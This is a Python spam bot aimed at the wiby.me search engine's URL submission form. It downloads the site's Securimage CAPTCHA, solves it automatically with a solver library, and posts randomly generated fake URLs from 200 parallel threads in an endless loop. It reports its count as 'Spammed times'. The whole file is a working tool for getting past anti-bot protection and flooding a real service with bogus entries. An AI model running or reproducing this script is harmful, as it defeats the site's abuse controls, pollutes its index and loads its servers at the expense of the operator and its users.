from securimage_solver import CaptchaApi
import requests
from PIL import Image
from io import BytesIO
import os, random, time
import threading,logging
from concurrent.futures import ThreadPoolExecutor
captchaSolver = CaptchaApi()

def MAIN(INDEX):
    while True:
        try:
            # print("Thread number:", INDEX)

            s = requests.Session()
            # r = s.get("https://wiby.me/submit/")
            a = s.get("https://wiby.me/securimage/securimage_show.php")

            image_data = a.content
            # image = Image.open(BytesIO(image_data))
            # image.show()

            captchaResult = captchaSolver.predict( image_data )
            
            data={ 'url': 'https://'+str(random.randint(10000000,99999000))+'.com/', 'worksafe': random.choice(['on','off']), 'captcha_code': captchaResult }
            r = s.post("https://wiby.me/submit/", data=data)
            
            if 'Completed Submission' in r.text:
                # print("Completed Submission")
                main.amount_submited += 1
            else:
                main.bad_luck += 1
        except:
            pass

def STATUS():
    while True:
        time.sleep(2)
        print(f"Spammed times: {str(main.amount_submited)}\nErrors and a awful luck: {main.bad_luck}")
threads = list()



def task(e):
    # logging.info("Main    : create and start thread %d.", index)
    x = threading.Thread(target=MAIN, args=(e,))
    threads.append(x)
    x.start()
    print("hey", e)
class funny_bot():
    amount_submited = 0
    bad_luck        = 0
    def start(self):
        xy = threading.Thread(target=STATUS, args=())
        threads.append(xy)
        xy.start()
    

        # with ThreadPoolExecutor(max_workers=50000) as e:
        #     e.map(MAIN, range(20))
        for x in range(200):
            task(x)

main = funny_bot()
main.start()